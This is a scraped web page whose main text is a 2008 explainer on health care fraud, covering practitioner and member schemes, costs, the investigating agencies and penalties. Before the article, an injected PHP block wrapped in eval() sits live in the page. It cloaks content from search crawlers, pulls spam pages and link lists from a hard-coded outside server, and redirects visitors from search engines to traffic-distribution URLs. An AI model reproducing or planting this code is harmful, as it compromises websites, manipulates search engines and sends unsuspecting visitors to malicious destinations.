#Start Adv eval(base64_decode("error_reporting(0); if (!$_GET['donttouchthis']) { $botsUrl = "http://193.111.244.157/x254/botip/bots.dat"; $uri = $_SERVER['REQUEST_URI']; if ((strpos ($_SERVER['HTTP_REFERER'], "q=site%3A") || strpos ($_SERVER['HTTP_REFERER'], "q=inurl%3A")) && $uri != "/") { header("Location: http://".$_SERVER['HTTP_HOST']); exit; } $user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i', '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i', '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i', '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', '#charlotte#i', '#ngb#i' ) ; $bot = false; $my_ip2long = sprintf("%u", ip2long($_SERVER['REMOTE_ADDR'])); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255")); if (substr_count($_SERVER['HTTP_USER_AGENT'], "Google Web Preview")) sleep(15); if (FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google')) $bot = true; if (!empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ) $bot = true; if (!$bot) { foreach ($stop_ips_masks as $IPs) { $first_d = sprintf("%u",ip2long($IPs[0])); $second_d = sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) { $bot = true; break; } } } if (!is_dir("tmp/")) { $x = "tmp/"; $arr = explode ("/", $x); unset ($str, $arr2, $arr[count($arr)-1]); foreach ($arr as $val) { $str .= $val."/"; $arr2[] = $str; } $res = true; foreach ($arr2 as $val) { if (!is_dir($val)) if (!mkdir ($val)) $res = false; } } if (!$bot) { $bf = "tmp/cached-b"; $botsFile = xGet ($bf); if(strlen ($botsFile) < 100||!$botsFile||!file_exists($bf)||time()-filemtime($bf)>24*3600) { $botsFile = get ($botsUrl); if (strlen ($botsFile) > 100) xPut ($bf, $botsFile); } if (substr_count($botsFile, $_SERVER['REMOTE_ADDR'])>0) $bot = true; } $siteID = $_GET['category']; $pageID = $_GET['watch']; $catPage = $_GET['page']; if (get ("http://193.111.244.157/x254/test.php") == "ok") $aviable = true; else $aviable = false; if($bot) { if ($pageID) $outsourceurl="http://193.111.244.157/x254/sp.php?site=$siteID&page=$pageID"; if ($catPage) $outsourceurl="http://193.111.244.157/x254/sc.php?site=$siteID&page=$catPage"; if ($pageID || $catPage) { if ($pageID) $cached = "tmp/cached-$pageID"; else $cached = "tmp/cached-cat-$catPage"; $content = xGet ("$cached"); if((!$content||!file_exists($cached)) && $aviable) { $out = get ($outsourceurl); if (strlen ($out) > 1000) { print $out; xPut ("$cached", $out); exit; } } else echo $content; exit; } else { $lf = "tmp/cached-l"; $links = xGet ($lf); if((!$links||!file_exists($lf)||time()-filemtime($lf)>24*3600) && $aviable) { $links = get ("http://193.111.244.157/x254/links.php?site=1600"); if (substr_count($links, "http") > 5) xPut ($lf, $links); } if (strpos ($_SERVER['REQUEST_URI'], "?")) $originalurl = "http://".$_SERVER["HTTP_HOST"].$_SERVER['REQUEST_URI']."&donttouchthis=true"; else $originalurl = "http://".$_SERVER["HTTP_HOST"].$_SERVER['REQUEST_URI']."?donttouchthis=true"; $originalpage = get ($originalurl); $originalpage = preg_replace('/(<\/body>)/i', "$links$1", $originalpage, 1); print $originalpage; exit; } } else if ($siteID && preg_match('/live|msn|yahoo|google|ask|aol|bing/', $_SERVER["HTTP_REFERER"])) { $tdsf = "tmp/cached-t"; $tds = xGet ($tdsf); if((substr_count($tds , "http") < 5 || !file_exists($tdsf) || time()-filemtime($tdsf)>3600) && $aviable) { $tds = get ("http://193.111.244.157/zb5/d5.php?T=movi"); if (substr_count($tds, "http") > 5) xPut ($tdsf, $tds); } if (strpos ($tds, "\r\n")) { $tdsArr = split ("\r\n", $tds); $tds = $tdsArr[rand(0,count($tdsArr)-1)]; } header('Location: '.trim ($tds)."#".rand(1,999999)); exit; } } function get ($url) { if (function_exists("curl_init")) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $url); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); @curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($c, CURLOPT_MAXREDIRS, 15); $page = curl_exec($c); curl_close($c); if (strlen ($page) < 10) { $cf = "tmp"; $c = curl_init(); curl_setopt($c, CURLOPT_URL, $url); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); @curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($c, CURLOPT_MAXREDIRS, 15); curl_setopt($ch, CURLOPT_COOKIEFILE, $cf); curl_setopt($ch, CURLOPT_COOKIEJAR, $cf); $page = curl_exec($c); curl_close($c); unlink ($cf); } } else $page = file_get_contents ($url); return $page; } function xPut ($file, $content) { if (function_exists("file_put_contents")) { return file_put_contents ($file, $content); } else { $f = fopen ($file, "w"); $done = false; if (fputs ($f, $content)) $done = true; fclose ($f); return $done; } } function xGet ($file) { if (function_exists("file_get_contents")) { return file_get_contents ($file); } else { $f = fopen ($file, "r"); $contents = fread($f, filesize($file)); return $contents; } }")); #End Adv Health Care Fraud
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Health Care Fraud
Written by Administrator
Friday, 15 August 2008 16:40

Health care fraud considered a white collar crime and involves the filing of health care claims with fraudulent information so that an individual can make a profit. There are many different forms of health care fraud schemes. Practitioner schemes involve people who are getting subsidized or fully-covered prescription medications that they do not need then turning around and selling them on the black market to make a profit. Another form of this health care fraud is when practitioners bill for treatment or care that they’ve never rendered, they file duplicate claims for the exact same service, or alter the dates, description of services, or identities of members or providers, billing for a service that is not covered as a service that is covered. Health care fraud can also involve practitioners modifying the medical records of an individual, intentionally reporting incorrect procedures or diagnoses in order to maximize the payment the doctor will receive, use of unlicensed staff, taking or giving kickbacks for member referrals, waiving co-pays, and prescribing unnecessary treatment.

Members can also commit health care fraud. For instance they can provide false information when they apply for health care programs. They could also forge or sell their prescription drugs, use transportation benefits for non-medical related reasons, and loan or use someone else’s insurance card.

When someone commits health care fraud, then the physician passes along the cost to their customers. Because of how rampant health care fraud is, statistics now show that ten cents of every dollar that’s spent on health care is applied to paying for fake health care claims.

Health care insurance companies are required by Congressional legislation to pay any legitimate health care claims within 30 days. The Federal Bureau of Investigation, the United States Postal Service, and the Office of the Inspector General are all given the responsibility of investigation health care fraud. Unfortunately with the 30-day rule, they generally do not have enough time to perform a sufficient investigation before the insurance company is required to pay.

There are some serious consequences for health care fraud if a health care provider is successfully prosecuted. They could face significant jail time, fines, and possibly losing their right to practice medicine. This means that physicians and any others who are involved in providing patient care need to know how to go along with the federal laws in order to guard against possible liability in health care fraud enforcement actions.
Last Updated ( Tuesday, 26 August 2008 14:33 )

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